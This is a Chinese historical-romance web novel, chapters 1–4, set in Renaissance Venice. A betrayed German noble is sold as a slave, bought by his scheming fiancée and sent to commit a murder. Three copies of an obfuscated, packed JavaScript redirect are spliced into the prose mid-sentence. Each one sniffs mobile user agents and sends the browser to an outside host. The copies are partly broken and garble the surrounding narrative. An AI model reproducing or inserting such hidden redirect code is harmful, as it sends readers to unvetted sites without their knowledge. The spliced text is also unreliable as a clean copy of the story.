《莉莉斯的账本》 1. 威尼斯的婚礼 “喂!今天有贵客要来,你们这群猪猡都给我打起精神!” 一束阳光透过门缝照进漆黑的货仓,海因里希不记得自己被关在这个暗无天日的地方已经过去了多久。或许是三周、四周,甚至更久,久到他当初与劫匪拼杀时留下的伤痕已经结痂愈合,久到他已经习惯了空气中发酵的恶臭,久到他已经不抱希望有人能来救他。 他在哪里?或许是利多,或许是亚得里亚海中任何一座不知名的小岛,甚至可能是在克罗地亚。那场拼杀后他便坠入大海。他以为自己会就这么死去,成为塞壬与鱼虾的美餐。 然而,有人把他捞了上来,可来者不像是路过的商船,更不像是航道上巡逻的执法官。一个大腹便便的男人扒下了他身上的华服,为他套上沉重的铁链,像牲畜一样把海因里希推进人头攒动的船舱。 “放开我!我可是海因里希·施密德尔,神圣罗马帝国施密德尔子爵的儿子,克纳罗家族的夫婿,莉莉安娜小姐的未婚夫!” 他用那双湛蓝色的双眼狠狠瞪着对方,试图自证身份,却只迎来一阵嗤笑和无情的鞭打。 “我这装不下这么多人。”大腹便便的男人一边嘲讽一边狠狠往他身上啐了一口,“你如果是克纳罗家族的夫婿,那我就是威尼斯共和国的总督。给我老实安分待着,否则就丢你下去喂鱼。” 海因里希无助地凝望身边穿着粗麻布衣服的男男女女,意识到他们是被人贩子从高加索运到威尼斯来的斯拉夫奴隶。而现在,海因里希被当作了他们的一员。 当海因里希握着羽毛笔在羊皮纸上签下婚约,带着浩浩荡荡的迎亲队伍从法兰克福启程前往威尼斯时,他从未想过自己会遭遇这样的灭顶之灾。他还记得临行前父母与神父的叮嘱,穿越阿尔卑斯山时的车马劳顿,还有那幅订婚前克纳罗家族送来的未婚妻肖像画。 画像中的女人有着一头美丽的红色卷发,灰绿色的眼睛像阴雨天的威尼斯泻湖。海因里希从来没有见过这么漂亮的女人——她的名字叫莉莉安娜,是克纳罗家的私生女。 克纳罗家族曾经出过四任威尼斯总督,是这个海上共和国盛极一时的权贵。虽然自从前任家主意外去世后,新掌权人昏聩无能而元气大伤,却还是瘦死的骆驼比马大,掌握着远在德意志的海因里希所无法想象的巨额财富。即使是克纳罗家族没有继承权的庶女,对海因里希来说也算得上是一门极好的亲事。 因此他格外重视这场联姻,所有迎亲礼物都是他悉心挑选的——一车最新纹样的拜占庭丝绸、一车棉麻混纺的单面绒布、一袋远东出产的香料、还有一颗成色极好的埃及祖母绿,在安特卫普切割做成了吊坠,赶在大部队到达前便早早送去了莉莉安娜手中作为订婚礼。除此之外,他还用零花钱额外购置了一枚印度出产的鸽血红戒指,和自己的那枚蓝宝石婚戒一起收在在首饰盒里,希望能在初次见面时换来妻子的倾心。 接亲的队伍顺着美因河一路南下,穿过布伦纳山口到达意大利,再继续南下前往威尼斯。长达两个月的路程中,他要求随行的手下只许以拉丁语和他交流,还专门聘请了威尼斯口音的意大利语老师,只为了能在接到妻子时用她的母语与她流利地对话。 “初次见面,我是施密德尔家族的海因里希,很高兴能认识您……” 不善言辞的金发少年日复一日地站在驿站的铜镜前排练与未婚妻见面时的开场白。他无比期待着他们的会面,还有接到莉莉安娜后一起回法兰克福举办的盛大的婚礼。当然,在此之前,他还需要在威尼斯和克纳罗家族的银行洽谈有关钢铁贸易的相关事宜。意大利北部战争不断,钢铁需求持续增长,若能开通新的商路将德意志出产的盔甲与武器运至阿尔卑斯山以南,对两家而言都是稳赚不赔的好生意。 绸缎、香料、宝石、婚约,对未来美好的憧憬——所有的一切都随着一场突如起来的劫掠付之一炬。在从梅斯特雷乘船前往威尼斯主岛的夜晚,施密德尔家族一行人的船遭受了海盗的洗劫。这十分反常——梅斯特雷与威尼斯之间的水路几乎是亚得里亚海上最安全的一条航道,在这条道上抢劫简直和在圣马可广场的总督府门口行凶并无二致。但意外还是发生了。 几个手持大刀的劫匪跳上了海因里希乘坐的小船。他们迅速扑灭了船上的火光,突如其来的黑暗使随侍的仆役吓得惊慌失措,在一片哗然中被了解了性命。海因里希抽出腰间的佩剑奋力抵抗。 他什么也看不清,只能根据金属碰撞丁零当啷的声响判断敌人的方位。等他的双眼终于适应黑夜,他瞥见一个黑影正朝他迎面劈来。好在海因里希及时躲闪,刀刃仅仅是划破了他的皮肤,而当他握紧佩剑准备予以反击之际,不熟悉海上作战的少年脚下踩空,仰面朝天跌入水中。 他的身体在海水中不断下坠,几乎失去意识。苦涩的海水灌进他的口中,呛得他快要窒息。等他好不容易调整呼吸浮出水面的时候,他看见远处的小船上,随行亲信的尸体被一具一具抛入海中。劫匪夺走了他们所有的接亲礼物。 再后来,不知道又在海里扑腾了多久,他被奴隶贩子捞起来,当作商品待价而沽。 伙计推开货仓的大门,让阳光照进阴暗潮湿的室内方便管事的奴隶贩子核验货物。管事的秃头男人走到海因里希身前,粗暴地捏住他的下巴,上下打量他的五官,然后扒开他的嘴检查牙齿。他注意到海因里希的左侧眉骨上被留下了一道刺目的刀疤。 “明明长得还不错,身材也好,脸却被划烂了,要不然肯定能卖个好价钱。” 看门的伙计自作主张地评论道,却被管事的秃头狠狠瞪了一眼。 “有的达官贵人就喜欢这一款。别忘了,今晚来看货的可是‘那位小姐‘。” “又要来?近半年她可真是咱们的大客户啊!” “她来钱的手段可不一般。”秃头恶狠狠地咕哝道,“商行里的人都在传,说这小妮子在偷偷做放高利贷的生意!” “高利贷!?那可是要进地狱的罪行!”伙计吓了一跳,惊讶得张大了嘴。 “嘘——你就当什么也不知道。她这次点名了要看高货, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973626|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶紧把这些家伙捯饬好了,才能入得了小姐的眼。” 海因里希心中瞬间燃起一丝希望。虽然他不知道这位放贷的小姐究竟是谁,但如果能被一位达官显贵的小姐“买走”,他就有机会重新联系上威尼斯的上流社会,有机会让克纳罗家族——即使这非常耻辱——为他赎以自由。事已至此,他已经没有资格去在乎那个高高在上的威尼斯名门望族是否还愿意履行他们的婚约。他首先需要尽一切可能离开这个肮脏污秽的地方,需要活下去,自由地活下去。 他被洗干净身体,梳好头发,换上一套干净的粗布衣服,用黑布蒙上了眼睛,套着锁链送进一个阴冷干燥的小房间。他的脚底感受到柔软的绒布地毯,空气中弥漫着木质调香水的气息。他仿佛终于回到了那个他所熟悉的世界——以一种极尽屈辱的方式,像是给贵族小姐选宠物犬一样,被人牵着锁链带进房间,双膝跪地在买家的面前。 “我上次就说过了,我讨厌这个劣质香氛的味道,熏死我了。” 高跟鞋的鞋跟在地毯上留下闷闷不乐的声响,海因里希听见一位女士在仆人的陪同下步入房间。 “小姐请息怒……我这就去让人换一瓶玫瑰香芬……” 奴隶贩子的语气里极尽谄媚讨好,女人却只是冷哼一声,干脆利落地打断了他。 “喂,打住。您怎么能以未婚女士的方式称呼我呢?若是我丈夫的在天之灵听到了,可得多难过、多痛心呀。” “诶哟!瞧我这张臭嘴,是夫人,尊敬的夫人。请您千万宽恕我的莽撞和愚蠢……” 才一进门就忙不迭地挑刺,必定是个难伺候的主儿。海因里希在心中暗自琢磨道。听她的声音,这位寡居的女士似乎非常年轻。刚丧偶不久便要挑选年轻奴隶去寻欢作乐,竟还要再作出一幅夫妻情深的姿态来,真是大言不惭…… “废话少说。你们要是再敢拿上次那样的货色来糊弄我,我可就真要生气了。” “我的小祖宗,谁敢糊弄您呢!您快瞧,他是咱们这批货里最正的一个,这肌肉,这身材,意大利语很流利,保证能哄您开心。” “哦?为什么要蒙着他的眼睛?” “呃……其实是因为,他脸上有道疤,属于是白璧微瑕……” “有疤算什么。我还以为是个男版的美杜莎,瞧我一眼就会将我变作石像呢。”女人轻蔑地笑着,“解开吧。” 解开黑布的那一刻,海因里希终于重获光明。他看见一位身着黑裙、头戴黑纱的红发女人正倚在他面前的丝绒沙发上。一颗硕大的祖母绿项链垂挂在她的胸口,而她的手上正捧着一个白森森的头骨,一颗蓝宝石——原本属于海因里希的戒指戒面被嵌进了头骨的眼窝。 “哇,确实长得还不错,我很喜欢。”红发的女人掀起垂在面前的黑纱,露出一个狡黠的笑容与一双灰绿色的眼睛。她饶有兴致地低下头打量着海因里希。 “从今天开始我就是你的主人了。我的名字是莉莉安娜·克纳罗·施密德尔,威尼斯城的人喜欢叫我放贷的莉莉斯。“ 2. 海因里希的替代品 “……” 海因里希难以置信地仰望着自己的未婚妻,仿佛她才是美杜莎,只消一眼便将他盯作了石头。 她很美,非常美,美得妖冶而危险。但她显然并不是肖像画上那个温文尔雅,端庄持重的大家闺秀,更像是一个贪婪而叛逆的女巫。 莉莉斯可不是什么好名字——神话中的莉莉斯是亚当的第一任妻子,因为不满亚当对其颐指气使的态度而离开伊甸园,象征着自我放逐、与恶魔为伍的堕落妖女。 “放贷”更是被教廷明令禁止的重罪。但丁在《神曲》中描绘,放贷者死后将被和同性恋者一起关进第七层地狱受罚,身体被埋进炙热的沙地,经受天罚之火的制裁。威尼斯人竟然管莉莉安娜叫‘放贷的莉莉斯’,这是多么恶毒的诅咒啊! 海因里希倒吸一口冷气,难怪克纳罗家会决定把这个私生女远嫁至阿尔卑斯山以北的德意志王国——现在看来此举似乎并非只是和亲,更像是一种放逐。他们或许早就受不了这个在威尼斯名声扫地的败家女,正迫不及待地想把她赶走呢!可荒诞的命运却让她留在了威尼斯,并在奴隶交易所的贵宾室里与她的未婚夫狭路相逢。 他迫不及待地想要告诉她,我就是海因里希·施密德尔,我就是你的未婚夫——却在对上那双灰绿色的眼睛时死死地闭上了嘴巴,什么也说不出了。 海因里希这才发现莉莉斯根本就不认识他。即使是美因河流域最富有的城市,法兰克福也找不出一个掌握了威尼斯或佛罗伦萨油画技法的画师。她从未看过他的画像,彼此之间唯一的通信也只有他送给她的宝石而已。她又凭什么相信一个初次见面的奴隶,相信这竟是她的未婚夫呢? 然而,说起宝石……他的视线移至莉莉斯的胸口,那条由他亲自挑选的祖母绿项链正戴在她修长的脖子上,与她眸子的颜色交相辉映,美得像希腊神话中住在森林里的仙女宁芙。只是属于他的蓝宝石戒面应该与那枚鸽血红对戒一起都被劫匪抢走了才对,现在蓝宝石怎么会再次出现在她的手里,还被嵌进了一个奇怪的骷髅头?难道这背后还有什么别的隐情? 更何况,莉莉斯穿着这身行头来这里,想必与绝大多数上流社会的女士一样,都很在乎出门在外的面子与自尊。若是让一群低贱的奴隶贩子知道了一个锁链拴着的奴隶竟是她的未婚夫,莉莉斯怕是会颜面扫地,成为全城的笑柄。 保险起见,海因里希决定暂且按下不表。当务之急是先离开这座罪恶的岛屿。尽管莉莉斯与他曾经幻想中的淑女形象大相径庭,更像是一个性格糟糕、被宠坏了的富家小姐,让人完全琢磨不透她在想些什么。但她似乎……还挺喜欢自己送给她的礼物。 “你叫什么名字?”莉莉斯笑吟吟地问他。 “……我没有名字。您愿意怎么称呼我,便怎么称呼吧。” “嗯……那要怎么办才好呢?”莉莉斯撅起了嘴巴,突然冷不丁地把手里捧着的头骨举到她面前,一本正经地用蹩脚的德语对它说话,“海因里希,海因里希,我亲爱的丈夫,我该给他起个什么名字好呢?他的眼睛与你很像,都是晴天里天空的颜色呢。” 灰绿色的眸子冷冷地扫过跪在地上的奴隶,又转而将含着笑意的视线移回到头骨上,凝视起了左眼眼窝里嵌进去的那枚蓝宝石,从海因里希的戒指上抠下来的蓝宝石。 “不如也叫他海因里希好了,让他替代你陪在我身边吧。” 奴隶贩子一脸困惑地看着她,显然完全没有听懂莉莉斯在说什么。但这不要紧,他只需要听懂莉莉斯对上次的‘货物’有多么不满,听懂她是怎么把100杜卡特(威尼斯金币)的开价成功砍到50即可。莉莉斯身边黑发黑眼的侍女从腰间的口袋里掏出预先准备好的金币,连接着海因里希颈上项圈的锁链与钥匙被移交到莉莉斯的手中。 红发的女主人一只手抱着那颗镶嵌宝石的头骨,一边牵着自己新买的,比她高出大半个头的宠物狗,心情愉悦地向港口走去。她轻车熟路地与侍女一起跳上黑色的贡多拉,再用一股蛮力把在港口踌躇不前的海因里希也给拉了上来。 海因里希静静地坐在船尾。他最后一次回望身后贩卖奴隶的岛屿,观察星星与月亮的方位与船夫行驶的方向,在心中默默记下这座岛的位置,这座滋生欲望与罪恶,使他堕入地狱的魔窟。他永远不会忘记那些泔水似的饭菜,无情的凌虐与鞭打,还有当作商品被人挑挑拣拣的耻辱。 总有一天他将摧毁这里的一切,就像正义的骑士击败邪恶的异教徒。他要将所有草菅人命的奴隶贩子绳之以法、驱逐流放,捣毁这条将人当作牲畜的产业,让那些把他的尊严打在地上摔得粉碎的人为此付出相应的代价。 他望向船头莉莉斯的背影。未婚妻的红发在海风中摇曳,像是海藻在波浪里跳舞。那句在铜镜前练习了无数次的自我介绍徘徊在嘴边,始终没有办法说出口。 威尼斯的城市灯光跳跃着点亮海岸线,像一团烧在海平面上的火。这座浮在海水上的财富之城是一个伟大海洋帝国的最中心——她控制着整片亚得里亚海沿岸、爱琴海最重要的港口、克里特岛、塞浦路斯、甚至曾经拥有八分之三个君士坦丁堡。“凡水流经之地”皆为威尼斯的疆域,威尼斯人骄傲地夸耀。这里没有适合耕种的土地,更没有蓄养牲畜的牧场,这里只有黄金,像潮水般源源不断涌现的黄金。 海因里希从未见过这样富庶而美丽的城市,几乎要被街上华丽繁复的房子看花了眼。就算把法兰克福最壮观的宫殿原封不动地搬到威尼斯来也显得平平无奇。但是在这座灯红酒绿的城市里,他举目无亲,竟一个能信得过的人都没有,孤立得像一叶浮萍。 贡多拉轻车熟路地穿过蜿蜒的小道,将年轻的女主人与侍从送到一扇白色小门前。这是一栋仅有三层楼的小楼,显然不是克纳罗主家的宫殿,似乎是莉莉斯的私人住宅。 深红色的墙纸上挂着黑色的绉绸帷幔,玄关的小桌上堆满了黑白相间的玫瑰花与白色的蜡烛,俨然是一幅贞洁烈女为丈夫哀伤悼念的陈设。 “去把他身上的劣质香水洗干净,换身像样点的衣服,送到我房间。” 莉莉斯将锁链和钥匙扔给侍女,踩着红色的丝绒地毯走上旋转楼梯的阶梯。海因里希则被拉到底楼给仆人洗澡的浴室。 他终于能够脱掉粗布的破衣烂衫,换上一套较为得体的装束。他看着镜中的自己,修身的剪裁衬得他躯干挺拔,金发梳理得整齐服帖,挺拔的鼻梁两侧是剑峰似的眉毛与凌厉的浅蓝色双眼。 镜中的人仿佛还是从前那个神采奕奕的德意志贵族少爷,只有那道突兀的伤疤还在时刻提醒着他过去一个月所遭遇的折磨与耻辱。或许是时候和莉莉斯摊牌了吗?海因里希在心中盘算着,仍有些犹豫不决。 贵族的身份到底意味着什么?是这身真丝织就、饰以银扣的衬衫吗?还是衣服上玫瑰与麝香的气息?是挥霍不完的金杜卡特, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973627|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是能够奴役下等人的权力? 海因里希想起他的家族。施密德尔,德语中“铁匠”的意思。他的祖先得益于十字军东征的铁器需求,靠着为军队制作盔甲、长剑与盾牌发家致富,才向帝国的皇帝买来了子爵的爵位。他从出生起就享受着锦衣玉食、仆从的侍奉、良好的教育,却从未怀疑过自己为什么会拥有这一切。直到他所拥有的一切被如此轻而易举地夺走,又似是而非地回到了他的面前。 就算莉莉斯真的相信了他的话,把他当做施密德尔家族的儿子,她真的会帮助他重新与家族取得联系,履行曾经定好的婚约吗?寡居的莉莉斯看起来一点也不因丈夫的死去而悲痛难过,反而非常快乐。她住在威尼斯自己的小家里,有年纪相仿的女佣照顾她,还有闲钱去奴隶市场买来相貌不错的男□□隶为她提供特殊服务来哄她开心。 这时,如果她知道死去的未婚夫突然回来了,她不得不终止这样自由自在的生活,她是会喜出望外地庆祝丈夫的回归,感念他受过的屈辱,给予他温柔的怀抱与理解;还是会将错就错,趁着自己手里掌握有随意处置‘奴隶’的权力时,把一个可能使她陷入丑闻的陌生人就此处决? “海因里希,在那里傻站着干嘛?过来。” 海因里希的思绪被打断,在仆从的示意下步入莉莉斯的房间。 年轻的寡妇身着一袭轻薄的黑纱裙,正慵懒地半卧在沙发上,手里拿着好大一本牛皮封面的书,上面用烫金刻印着“账本”的拉丁语单词。她的左腿向前伸出来搭在软塌上,黑发黑眼的东方长相女仆在用混了玫瑰油与红色染料的蜂蜡为女主人保养脚指甲。那个镶着蓝宝石,被莉莉斯称作“海因里希”的骷髅头正静静躺在沙发边小桌的软垫上,旁边还放着一把匕首。 “塞西莉娅,你先下去吧。海因里希,你来帮我涂。” 侍女退下后,卧室里只剩下一对孤男寡女。海因里希单膝跪在地上,从莉莉斯脚边的小桌子上拾起盛着染料的银杯与刷子,小心翼翼地捏着银质手柄的小刷子,模仿着方才女仆的样子将软化的红色蜡油涂抹在莉莉斯的指甲上。 “你在来到威尼斯之前在做什么?”莉莉斯突然凑近身体,仔细观察着海因里希的反应。 “呃……一些与打打杀杀有关的事。”他给出一个模棱两可的回答,涂抹蜡油的手微微一抖,温热的蜡油滴落在他的手指上。 “哦?是雇佣兵吗,太好啦。”莉莉斯装模作样地哭丧着脸,用撒娇的语气假惺惺地说, “我正缺少一个能帮助我,保护我的骑士呢。就在一个月前,我的未婚夫海因里希·施密德尔在接亲的路上被人谋害,我才刚满十八岁,就要过上守寡的生活……” “那可真是太不幸了。” 海因里希在内心默默翻了个白眼,顺着她的话继续说下去。 “威尼斯城的人最喜欢捕风捉影了。有好多人都想害我。为着这些流言蜚语,我已经好多个夜晚没有睡好觉了。海因里希,你来帮帮我好不好?”她一边说着,一边用染得粉红的手指尖轻轻划过小桌上头骨的眉心。 “我要如何才能为主人解忧?”在她的每个指甲盖上都均匀涂抹了油膏,海因里希抬眼看向莉莉斯,等待她的下一步指示。 “要是能让那些乱嚼舌根的人永远闭上嘴巴,或许我就能睡个好觉啦。” 莉莉斯抬起腿,将脚尖轻轻踩在了海因里希宽厚的肩膀上,一边甜甜地笑着,一边死死地盯住他的眼睛。 3. 用完即弃的工具 海因里希从噩梦中惊醒了。 睡梦中他再次回到海面上那场与劫匪的拼杀。梦神为原本漆黑一片的画面倾倒了浓烈的色彩——藻绿色的海水里绽红色的血,将海因里希的双眼染得一片猩红。那个未知的黑影挥刀向他劈来,这一次海因里希手里没有与之抵抗的佩剑,刀刃径直刺入他的皮肤,将他刺进海底,苦涩的海水扼住了他的喉咙,他的身体在水中不断下坠,下坠,一直坠入深渊——直到他醒来。 阳光透过窗帘缝隙温柔地洒在床头。他被安置在小楼底层的佣人房里,虽然床不算宽敞,也比奴隶贩子关人的货仓要干净舒适得多。 近在咫尺的死亡、臭气熏天的草铺、不见天日的棚屋,这一切都已经过去了,都已经过去了。海因里希一遍又一遍地对自己说道。他的头一阵一阵嗡嗡嗡地发疼。他想赶紧起草给施密德尔家族的信,让家族派来值得信任的亲信,尽早接他离开威尼斯,回到他熟悉的、安全的环境里去。但他的卧室里当然没有纸笔,只有一把匕首静静地躺在他的床头柜上,匕首下压着一张羊皮纸绘制的地图,地图上用红色的墨水标了一个地址,那里面住着莉莉斯希望能够永远闭上嘴巴的人。 “有一个可恶的老头,长得满脸麻子,丑陋不堪。自己一把年纪了,偏偏还要欺负我一个可怜的小女孩子,说了好多好多难听的话,流言与诽谤已经压得我快要抬不起头了,害得我整夜整夜地做噩梦。” 莉莉斯委屈巴巴地念叨着,从厚厚的账本里抽出那张绘制好的地图,连同着小桌上放着的那把匕首一起放进海因里希的手中。 “海因里希,帮帮我好不好?让他永远、永远保持沉默,用你最擅长的方式。你知道该怎么做,对吧? “ 明明是恳求的语气,眼神却像刀尖一样锋利。这根本不是在在询问,而是一种恶趣味的命令下达。海因里希感到有些头疼。他从对方手里接过作案工具,眉头紧锁着思考推脱的对策。 “今夜你先好好休息。在我明夜入睡之前,我希望能够听到那家伙不幸身亡的好消息。” 见海因里希迟迟未做回应,莉莉斯的话音急转直下地变冷,几乎变成了一种威胁。迫于形势,刚刚被买回来的奴隶只能服从了主人的命令。 “我会尽力的。” “那么你现在可以走了,让塞西莉娅进来。” 海因里希手里握着匕首走出卧室。黑发黑眼的塞西莉娅冷冷地审视着他,眼神里写满了嫌弃和鄙夷,在他面前重重地关上莉莉斯卧室的房门。海因里希眼下并没有心情计较这些小事。 他感到十分愕然。才刚刚从一个死亡的漩涡里逃脱出来,又紧接着被未婚妻推进了另一个泥沼。尽管他的家族世代生产战争所用的铁器,他从小在骑士团前辈的带领下学习如何与人战斗,后来又跟随着商队在德意志境内运送货品,与土匪奋勇拼搏,甚至在沦为奴隶后目睹了无数残忍的凌辱虐待与严刑拷打,但他从来没有真的自己动手杀死过人。 若要说有什么人使他恨之入骨,恨到想要除之而后快,恐怕就只有那些使他陷入这个不去杀别人就没办法活下去的境地的家伙:害他像牲畜一般度日的奴隶贩子,杀死他同伴的劫匪,还有背后或许存在的始作俑者。 然而现在的海因里希却不得不服从一个顽劣大小姐的命令,去刺杀一个和自己根本素不相识、无关紧要的人。这种身不由己被迫行凶的处境令他感到深深的抵触与反感。不过,他也有些好奇莉莉斯必须要杀掉对方的原因究竟是什么,这背后是否有些她不愿意透露的隐情? 又或者,她只是实在是受不了流言纷扰,不惜杀人也要挽回自己贞洁的名声呢?明明那样年轻貌美却不得不独身寡居,失去了丈夫的庇护而无依无靠,她应该也过得很辛苦吧…… 翌日入夜后,他换上一身不显眼的破斗篷,用围巾蒙住脸,顺着地图上的指引走过七条小路,跨过六座小桥,穿过三道暗巷,终于来到了一个肮脏杂乱的街区,与莉莉斯所住的区域截然不同。垃圾发酵的臭味和街角的尿骚味让他想起了监禁奴隶的库房,不禁一阵阵地犯恶心。目标是一座十分破败的小屋。海因里希走上前去,敲响房门。 “什么人?” “我为施密德尔夫人做事,来支付封口费。” 一个满脸麻子的男人打开房门,看见海因里希斗篷下的左手里握着一个沉甸甸的绒布袋。 “可以可以,够了,我会保守秘密的,暂时会的……” 还没等他将话说完,一把匕首便架上了他的脖子。男人立马抽出佩刀反抗,可他全然不是海因里希的对手,立刻便被海因里希轻而易举地制伏在地上,将他的武器抛出几米远。沉甸甸的绒布袋掉在地上,从开口里流出细细的沙子。 “你保守的是什么秘密?” “你不是莉莉斯派来的人。”麻脸男人强装镇定,瞥了一眼地上的沙袋,“我凭什么告诉你。” 海因里希一拳打断了对方的鼻梁骨。 “不说吗?我可有的是法子折磨你。” 他死死掐住那人的脖子,用匕首割下他脸上的一小块肉,疼得对方发出凄厉的哭喊。 “行,我说,我说,我说还不行吗!就是放贷的莉莉斯,那个克纳罗家的小婊子,派我去谋杀她的未婚夫,杀光了整个迎亲队伍……” “你胡说!”海因里希一惊,握着刀的右手控制不住地发抖。 麻脸男人敏锐地察觉到海因里希的惊慌失措。他定睛一看,才注意到海因里希左脸眉骨上的那道疤痕。 “你就是海因里希·施密德尔……原来你没有死……你是来自德意志的贵族是吧。要是你愿意出更高的价格,我立刻带着我的几个弟兄帮你做事,把那个小婊子——” 刀刃干净利落地割断了对方的喉管。海因里希拿刀的手仍在发抖,他的全身都在发抖。 不……这一定是假的,这一定是个骗局。她明明还是个才刚刚成年的女孩子,怎么做得出这么阴险狠辣的事,竟然派人去谋杀自己无仇无怨的未婚夫……?她明明那么喜欢他精心挑选的宝石……对啊,那颗蓝宝石,如果不是莉莉斯派人动手,她又怎么会原封不动地得到他的宝石? 难道说那颗可笑的头骨,那些祭奠的陈设和那些哀悼的话语全部都只是她掩盖真相的伪装吗?难道她才是一切的始作俑者,害他沦落至此的罪魁祸首吗?难道她并不是一个被宠坏的孩子,而是一个心狠手辣的蛇蝎毒妇吗? 海因里希难以置信地看着倒在血泊里的尸体,看着自己遵行莉莉斯的指示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973628|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所犯下的罪行。莉莉斯真正要杀掉这名劫匪的原因恐怕即是为了抹掉她买凶谋害未婚夫的罪证。可她并不知道他就是真正的海因里希,在她眼中,他只是一个刚刚买来的奴隶,一个无关紧要的佣人,一个就算刺杀失败也与与她毫不相干的路人。他的死活一点也不重要,若是死了,大可重新去买一个更“好用”的货品。若是活着…… 他怔怔地低下头,看见另一颗为莉莉斯做事的棋子被用完即弃的结局。 不行。他不能坐以待毙。 跑?他根本没有足够他回到法兰克福的路费。整个威尼斯里都遍布着克纳罗家族的眼线,他又能跑到哪里去呢。他根本没有地方可以去,除了回到莉莉斯的身边继续去扮演一条温顺的狗,去向她摇尾乞怜,去求求她能够留自己一命以外,他别无选择。他必须要活下来。他还想要回家,还想见到父亲母亲,他养的德国牧羊犬,他最好的朋友,他还有很多很多想做的事,他想复仇。 复仇,向那位草菅人命、心如蛇蝎的未婚妻复仇。他必须要让她体验到他曾遭受过的痛苦,让她为自己的恶行付出代价。在此之前,他要博得她的信任,成为她的亲信,最后用她自己的力量去惩罚她自己。 海因里希在心中盘算着接下来的打算。他突然想起了什么,赶紧扒开地上尸体身上的口袋,果然在对方胸口的内袋里找到了他想要的东西。 他将擦干血迹的匕首收进斗篷。回去的路上,天空中突然下起了雨,将他全身都淋湿了。早春的雨还带着冬日的冰冷,他被冷得直打哆嗦,不禁加快了回去的脚步。 回到家门口时,为他开门的是塞西莉娅。 “正门不是给你走的。”塞西莉娅仍旧是一幅极不待见他的态度,冷冷地看着像落汤鸡一般的海因里希,“夫人在卧室里等你。” “知道了。” “等一下。你难道打算就这样进夫人的房间?”塞西莉娅恶狠狠地瞪着他,“滚去把自己洗干净。” “……知道了。” 洗完澡后海因里希换上干净的衬衣,梳好头发,带着擦干净的匕首,顺着楼梯走到顶楼莉莉丝的房门口。莉莉斯听到了脚步声,亲自走到门口为他打开门。一开门他便感受到房间里溢出来的壁炉暖气,还有空气中混杂着玫瑰的馥郁熏香。再冰冷的雨声在如此温暖的房间里也变成了无关紧要的背景音。 “我的骑士先生回来了,我一直在等你呢。”莉莉斯慵懒地靠在门框上笑吟吟地仰起头和他打招呼。她穿着一件米白色的棉质蕾丝睡裙,红发披散在肩头,打扮得像一个纯洁善良的小天使。 “夫人,事情办好了。”海因里希将匕首交还到莉莉丝的手里,跟着她的脚步走进房间,“再也没有人会闲言碎语,您今夜一定可以睡个好觉。” “太好了,我就知道海因里希一定不会让我失望的。”她将匕首随手放上书桌,突然转过身,牵着海因里希的手领着他坐在沙发上。沙发旁的小桌上摊着一本帐本,旁边放着一瓶红葡萄酒和两个已经盛满的玻璃酒杯。莉莉斯将月亮雕花的酒杯握在自己手里,把刻着太阳纹样的玻璃杯递进海因里希的手里,杯里的酒液像鲜血一样红。 “让我们庆祝你的凯旋。”莉莉斯高高举起酒杯,露出一个甜丝丝的笑容。 4. 失落的红宝石 海因里希将酒杯放回到桌上,十分突兀地单膝跪地在莉莉斯的面前。 “怎么了?” 饶是莉莉斯也被海因里希反常的举动吓了一大跳,她伸出手想要扶她起来,海因里希却仍旧跪在地上,一动也不动。 “夫人,我还有一件事必须向您禀报。” “有什么事是不能边喝酒边说的呢。”似乎是猜到了海因里希要说什么,莉莉斯的声音明显冷了下来。她有些尴尬地坐在沙发上调整了一个舒适的姿势,将酒杯放在嘴边轻轻抿了一口。 “请让我先对您坦白。我身为仆役却无意间听到了我不该听的话语,理应受到主人的责罚与谴责,实在无法堂而皇之地接受您的祝酒。”海因里希驯顺地跪着,低下头。 “什么事值得你那么紧张?你应该知道,那麻子脸是个最爱诬陷诽谤的坏东西。”莉莉斯皮笑肉不笑地勾了勾嘴角,仔细地盯着海因里希的脸。 “正因为我最清楚他满嘴诽谤构陷,我才为您的遭遇感到痛心。”海因里希试图学着用莉莉斯对他说话时那如同歌剧台词一般夸张的措辞陈情:“尽管您是出生于克纳罗家族的高门贵女,尽管您的品格像月光一般高洁……” “够了,别恭维我。”莉莉斯冷着脸打断了他,“有话直说。” “却还是有人肆意抹黑您,只因为您是一个寡妇,是一个女人。” “我想我不需要你来告知我这些。” “可是您从来不曾屈服,不是吗。您的家人对您的处境坐视不理,您便自立门户,也能将温馨的小家打理得井井有条,舒适温馨。您的丈夫离您而去,您却从不过分哀伤,而是经营起了自己的事业,这么晚了还在工作。我想对您说,您是我所见过最坚强,最聪明,最了不起的人。能够为您这样的女主人工作,我感到荣幸至极。” 